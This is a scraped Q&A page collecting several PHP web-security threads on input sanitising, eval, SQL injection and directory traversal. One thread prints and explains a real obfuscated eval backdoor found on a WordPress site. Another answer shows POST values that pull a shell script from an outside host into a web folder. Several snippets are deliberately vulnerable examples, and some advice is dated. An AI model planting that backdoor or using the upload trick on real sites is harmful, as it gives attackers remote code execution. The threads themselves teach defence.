PHP Vulnerability (XSS, ...) > When can user input/url injection actually do harm? - php

Hope this question is not too unspecific, so...
My question is, when do I actually have to pay attention on how I handle vulnerable variables and when do I not. E.g. it's obviously insecure to use something like ...
echo $_POST['username']; // insecure !!!
in your template. $_GET and $_SERVER variables are said to be vulnerable as well. So I'll have to sanitize them before 'using' them. But what means to 'use' in this context. Insecure would be e.g. to output them e.g. with echo, to write them unfiltered into a DB or to put them in any other open context. On the other hand, comparing them with other variables like in ...
if ($_SESSION['username'] === $_POST['username']) {};
or embedding them into a variable like ...
$file = 'http://www.example.com/users/' . $_POST['username']; // insecure !!! see Tom's answer
and then checking ...
if (file_exists($file)) {};
..., in other words keeping them in a somehow closed context is secure, isn't it? (It seems to me, that the $file-example could be considered as borderline in terms of security, but used that way, I think it's ok?). Maybe someone knows also of cases in which the distinction between open and closed context is not as clear (as I hope they are in my examples) to put attention to them.
Thank you

It depends on what you're going to do with that file. The username field can pass something that would point you to a file not on that website like:
$_POST['username'] = '#not-the-site-you-want.com/bad_stuff.html';
$file = 'http://www.example.com' . $_POST['username'];
Will resolve to http://not-the-site-you-want.com/bad_stuff.html and will still return true for file_exists($file);.
Lets try a "real world" example of why you don't want to just inject $_POST variables and then trust the results.
Lets say we're going to retrieve a user's picture from an online source (like this one: http://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50) and store it locally:
$username = $_POST['username'];
// We expect 'hash' to contain '/avatar/205e460b479e2e5b48aec07710c08d50'
// See #SilverlightFox's comments below for more information.
$image = 'http://www.gravatar.com' . $_POST['hash'];
if (file_exists($file)) {
// Now we have the image stored on our local system
copy($image, 'assets/' . $username);
}
User provides the following information:
$_POST['username'] = 'shell_script.php';
$_POST['hash'] = '#badwebsite.com/shell_script.txt';
You've now just uploaded a shell script to your website that will be accessible at http://www.mywebsite.com/assets/shell_script.php
Half of security is knowing the basics and putting in restrictions. The other half is figuring out how someone could get around the restrictions you've put in place. You're code could be immune to SQL injections and XSS, but it you pass a is_admin flag as a parameter in each page request and honour it, then someone is going to find it and abuse.

You should get in the habit of always assuming something malicious will be tried with code you write if it's exposed to the world at large. If you spend your time worrying about which inputs you need to sanitize and which ones you don't, you will make mistakes that leave your application vulnerable.
Sanitizing input doesn't take that much effort once you learn how, and if you get in the habit of doing so you will reduce the area of exposure that can be attacked. Application security isn't about "only fixing the important things", it's about building the entire application with security in mind.
Don't make the bad people's jobs easier.

Related

What does this (virus?) code do?

I found some code that I did not write in my public_html folder on my WordPress site. After a bit of effort, I was able to get it into a somewhat readable state, but it's still beyond me what it does. Could anyone with a better understanding tell me what this code was supposed to be doing?
If it helps, it had also overwritten my index.php file with this code, as well as had several references to a strange .ico file.
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function fun1($key, $valueLength)
{
$keyGuid = $key . "49d339b2-3813-478a-bfa1-1d75be92cf49";
$repeatTimes = ($valueLength / strlen($key)) + 1;
return substr(str_repeat($keyGuid, $repeatTimes), 0, $valueLength);
}
function packToHex($inputToPack)
{
return #pack("H*", $inputToPack);
}
function fun3($exploded)
{
$modCount = count($exploded) % 3;
if (!$modCount) {
eval($exploded[1]($exploded[2]));
exit();
}
}
$value = packToHex($value);
$bitwiseXor = $value ^ fun1($key, strlen($value));
$exploded = explode("#", $bitwiseXor);
fun3($exploded);
}
Short answer: It is backdoor, it allows to execute arbitrary code on the server side.
Note: all you need to see is that it has eval and takes input from the user.
What arbitrary code? Whatever they want.
Long answer:
It will take data from $_COOKIE and $_POST as you can see. This data comes from the user. We can infer that this code was designed for a malicius user recieve data (which, either the malicius user will send directly, or via a bot).
What does it dose with this data? Well, it will over all the input, one by one, and try to:
$value = packToHex($value); Interpret it as an hexadecimal string and covert it to its binary representation. Silently fail if it isn't an hexadecimal string.
$bitwiseXor = $value ^ fun1($key, strlen($value)); apply a cheap cipher over it. This is a symetric substitution cipher, it depends on $key and the hard coded guid 49d339b2-3813-478a-bfa1-1d75be92cf49. We can asume that who injected this code knows the guid and how to cipher for it (it is exactly the same code).
$exploded = explode("#", $bitwiseXor); We then separate the result by the character "#".
And fun3($exploded); interpret it as code (see [eval][1]).
If all succedes (meaning that the input from the user was such that it triggered this process), then it will exit, so that it flow of execution never reaches your code.
Now, somebody injected this code on the server. How did they do it? I do not know.
My first guess is that you have some vulnerability that allows them to upload PHP code (perhaps you have a file upload function that will happilly take PHP files and put them in a path where the user can cause the server to run them).
Of course, there are other posibilities... they may have brute forced the login to your ftp or admin login, or some other thing that would allow them to inject the code. Or you may be running some vulnerable software (an outdated or poorly configured WordPress or plugin, for example). Perhaps you downloaded and used some library or plugin that does watherver but is compromised with malware (there have been cases). or perhaps you are using the same key as your email everywhere, and it got leaked from some other vulnerable site... or, this was done by somebody who works with you and have legitimate access, or something else entirely...
What I am saying is that... sure remove that code from your server, but know that your server is vulnerable by other means, otherwise it wouldn't have got compromised in the first place. I would assume that whoever did this is out there, and may eventually notice you took it down and compromise your server again (Addendum: In fact, there could be some other code in your server that puts it back again if it is not there).
So go cover all your bases. Change your passwords (and use strong ones). Use https. Configure your server properly. Keep your software up to date.
If you have custom PHP code: Validate all input (including file uploads). Sanitize whatever you will send back to the user. Use prepared sentences. Avoid suspicius third party code, do not copy and paste without understanding (I know you can do a lot without really understanding how it works, but when it fails is when you really need the knowledge).
Addendum:
If you can, automate updates and backups.
Yes, there are security plugins for WordPress, and those can go a long way in improving its security. However, you can always configure them wrong.

Is this unsafe? PHP - PDO

Alright, so I've set up a small system where I can add pages through an administration panel and for them to appear on the main site. As well as html pages that are made in the admin panel I have also got about two PHP pages with queries that are stored in the database.
Anyways I am calling these by using 'Eval' which I've read that it is unsafe.
Although since its only html codes going in from the administration panel [php codes are disallowed and wont function if posted in these pages] and the PHP pages are unediable unless access to the database, is this safe?
One PHP page involves user comments but all HTML and PHP codes are stripped from the form. I've tested it involving a few exploiting techniques but none seemed to succeed.
But is using eval for my purpose safe? Is there a better work around?
Code:
<?php
if (isset($_GET['p']))
{
$stmt = $dbh->prepare('SELECT * FROM pages WHERE shortname = :p');
if (!$stmt->execute(array(':p' => $_GET['p'])))
{//
exit('Could not exec query with param: '.$_GET['p']);
}
while($row = $stmt->fetch(PDO::FETCH_ASSOC))
{
eval(" ?>".$row["content"]."<?php ");
echo '</div>';
}
}
//ends connection
$row->dbh = null;
?>
Sometimes writing secure code is more than being sure that it is safe. Maybe we all look at your code and think that it is safe, but oversee something small and obvious that will make a big security hole.
Better safe than sorry. You say [php codes are disallowed and wont function if posted in these pages] So why do you use eval then?
Back to your code. The parts that you have posted look safe to me (as for the eval part). But what if there is some small sql injection hole somewhere else in your application that lets the attacker change rows? The attacker will be able to put php code in your database and later execute it with your eval statement.
I would say: No, this code is not safe.
Also, do not echo user given content in your errors, this can lead to an xss vulnerability.

website hacking prevention/minimization

what is the best way to tell my server side script that the submitted form or data is coming from a trusted source or from my website?
Am already performing alot of server side data scrutinize, and think i can improve this more with the client side too
AM a php/mysql developer
To find out the IP of the user who posted the data use:
$ip = $_SERVER['REMOTE_ADDR'];
echo "<b>IP Address= $ip</b>";
According to the IP you can decide whether the user is trusted or not. (for instance if you'd like to trust only a special range of IP-addresses)
Whenever I read posted variables in PHP I use to filter them like that:
function check_string($string) {
// allowed chars: a-z,A-Z,0-9,-,_
if((preg_match('/^[a-zA-Z0-9\-\_]+$/',$string)))
return true;
return false;
}
It would filter all chars which are not a-z, A-Z, 0-9,- or _ and enhances the sites security a little bit. If you've access to your webserver:
Disable server banners (which display OS and apache version for instance), if you have access to the webservers configuration. This information can be very useful for hackers, and you want to disable everything which could help them in any way ;)
Prevent directory listing (for instance with .htaccess files). A simple example would be:
Options All -Indexes
Run the webserver with a limited user account (best would be to chroot the user as well)
Use mysql_real_escape_string in mysql queries and use htmlentities in html posts.
Example:
Wrong:
<?php
if($_SERVER['REQUEST_METHOD'] == "post"){
echo $_POST['hai'];
}
?>
right:
<?php
if($_SERVER['REQUEST_METHOD'] == "post"){
echo htmlentities($_POST['hai']);
}
?>
$_POST can also be $_GET
wrong:
<?php
$query = "SELECT * FROM table WHERE msg = '". $_GET['hai'] ."'";
?>
right:
<?php
$query = "SELECT * FROM table WHERE msg = '". mysql_real_escape_string($_GET['hai']) ."'";
?>
And don't forget to use htmlentities when you get things out of the mysql table...
Greetings
I've always used a class that handled such issues, it would handle both server/client side and ensure that any input was made from the server itself. It would then validate and ensure it is not given special characters.
http://validformbuilder.org/
Let me know if that helps, it helped me a while ago. :)
I think the best option would be adding a digital signature to requests, even a simple one.
For example your site or the trusted source add the SHA checksum of the request computing it after the addition of a secret "salt" (that is not sent). The server gets the data, adds the same salt and computes the SHA signature, if the SHA matches then the source knew the secret and you can trust the content.
I guess your question implies CSRF... Just generate and add a validation token.
Many frameworks can manage these for you.
Guys, thanks for your help i appreciate it all. Generally i was talking about client side security ie making sure data coming from the client is from original source.
Generally SSL might just have been the answer, after a lot of browsing i found two sites that solves this issue to an extent: aSSL ,and Jquery implementation
This way my data is secured up to a level say 90%
what do you think?

php and mysql, best practices

I started working with php and mysql today. Basically, what I have, is an empty page with pieces that I fill in from looking up an id in a database. So on my home page I have an url that looks like this:
<a href="content/display.php?id=id1">
And then in my display.php I have this:
<?php
include '../includes/header.php';
$id = $_GET['id'];
$mysqli = new mysqli('localhost','username','password','dbname');
if($result = $mysqli->query("SELECT * FROM portfolio WHERE id='".$id."'"))
{
while($row = $result->fetch_object())
{
$head = $row->head;
$img1 = $row->img1;
$img2 = $row->img2;
$img_url = $row->imgurl;
$img_thumb = $row->imgthumb;
$vid = $row->vid;
$swf = $row->swf;
$url = $row->url;
$url_text = $row->urltext;
$text = $row->text;
}
}
else echo $mysqli->error;
?>
It's a sparse table in that not all of those fields will have information (many might be null). Basically they contains file names and then in the html I have code that looks like this:
if(isset($img1))
{
echo '<img src="images/'.$img1.'" />';
}
A couple of questions,
Is this the best way to do this?
Everytime I visit display.php, I am reopening a database connection right? That can't be good...
I chose to put the names of the files in the database, rather than entire path names, or even the actual files themselves, figuring that, if I change the name of the file I can go into the database and update it for the file I want to change. If I change the path, I can just change it once in the html. Is that the best idea?
Thanks!
1) No, although that's the easiest way for beginning. After you feel comfortable with basics, you should spend some time considering different approaches to application structure. Most important rule is to separate concerns. Don't mix database code with business logic code with presentation code. But like I said, it's not something you should worry about on your first day. For now just learn basics.
2) There's no other way actually. For a web application each request from browser is like an individual run of application. There is a possibility to use so called persistent database connections, but just like in previous point, that's something you should not deal with on your first day, as they require specific configuration of your web server. For the time being just use normal connections.
3) That's pretty sensible idea. You could also define your image path as a PHP constant, so that in case a change is needed, you only change this one constant.
4) What sAc says in his answer is very important. Read about SQL injections and how to prevent them.
You are vulnerable to SQL injection, properly type cast your variables:
$id = (int) $_GET['id'];
Use functions such as mysql_real_escape_string or even better use:
Prepared Statements
SQL injection & prepared statements are already mentioned. An addition to that would be:
else echo $mysqli->error;
Change that to:
else trigger_error($mysqli->error,E_USER_ERROR);
Why you ask? Because visitors should have no idea about your database, and cannot fix the error, so they plain shouldn't see it. This way, you can safely develop with display_errors on, and on the live site display_errors is off, and you log_errors in an error log.
Looks like you have good handle on what you want to do. I don't know how much development background you have, but it would be a good idea to start learning about MVC's in php like CakePHP, Fuse, or even Zend Framework(bleh!!!). I'll save you time on more robust applications by pre defining all your basic db interface, template handling, session handling, and let you worry about higher level problems, like what's for lunch! :)

lots of files tactics have directory traversal security problem?

If I choose lots of files tactics,
then I become to have directory
traversal security problem?
I need to write login system,
and lots of file tactics means
make lots of id files and use
scandir.
so the directory would have
aaa.txt (contents is aaa_pass)
bbb.txt (contents is bbb_pass)
ccc.txt (contents is ccc_pass)
and when someone enter his id,
the system scandir the directory,
then find the id files.
but hey, what if he enters as
"../../important.txt" ?
then he could access to the ../../important.txt ?
At first glance, it seems like you are going down a somewhat strange path for writing a login system. I'm not sure plain text files in a directory on the filesystem is a wise path to take if for no other other reason than that it's abnormal and you'rer likely to overlook many of the subtleties that are already thought through in more common authentication systems. If you wanted to store the passwords hashed and salted, for instance, you'd need to think through how to implement that in your scheme and you could make a mistake that would lead to a security problem. Using a good PEAR library or even the Zend_Auth component from Zend Framework, though, would give you a clear and well-documented starting point.
Anyway, assuming you have your reasons for the arrangement you describe in your question, the basename() function is likely what you want in this case. It will strip everything but the filename itself so that they can't do a directory traversal attack like you describe in your question.
So if the input from the user is:
../../important
You can run:
$cleanUsername = basename($input);
$filename = '/path/to/password/files/' . $cleanUsername . '.txt';
if (file_exists($filename)) {
[...]
}
Make sense?
You could perform some validation of the username before you use it as part of a path - for example to only allow letters and numbers you could do something like this using a regular expression:
if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
//username is not valid
} else {
//username is ok to use
}
Another way you could do it is to hash the username before you read or write it, for example:
$hash = sha1($username);
This way, the user can have anything as their username and there will be no danger of them manipulating the behaviour of your file lookup. A username of "../../important.txt" would give you a hash of "48fc9e70df592ccde3a0dc969ba159415c62658d", which is safe despite the source string being nasty.
If you have no other choice than to use this file-password system (assuming you have to for one reason or another), in addition to creating some kind of obfuscated file names, you may also want create files with the same extension as your server-side language just in case - for example, if you are using PHP, your file name would be john.php (or obfuscated 'john'), and contents might be something like this:
<?php
exit; // or maybe even a header redirect --
/*password goes here*/
?>
Of course your file-read routine will need to parse our the phrase inside the comment block.
This way, if someone DOES somehow arrive at that file, it will never render.

Categories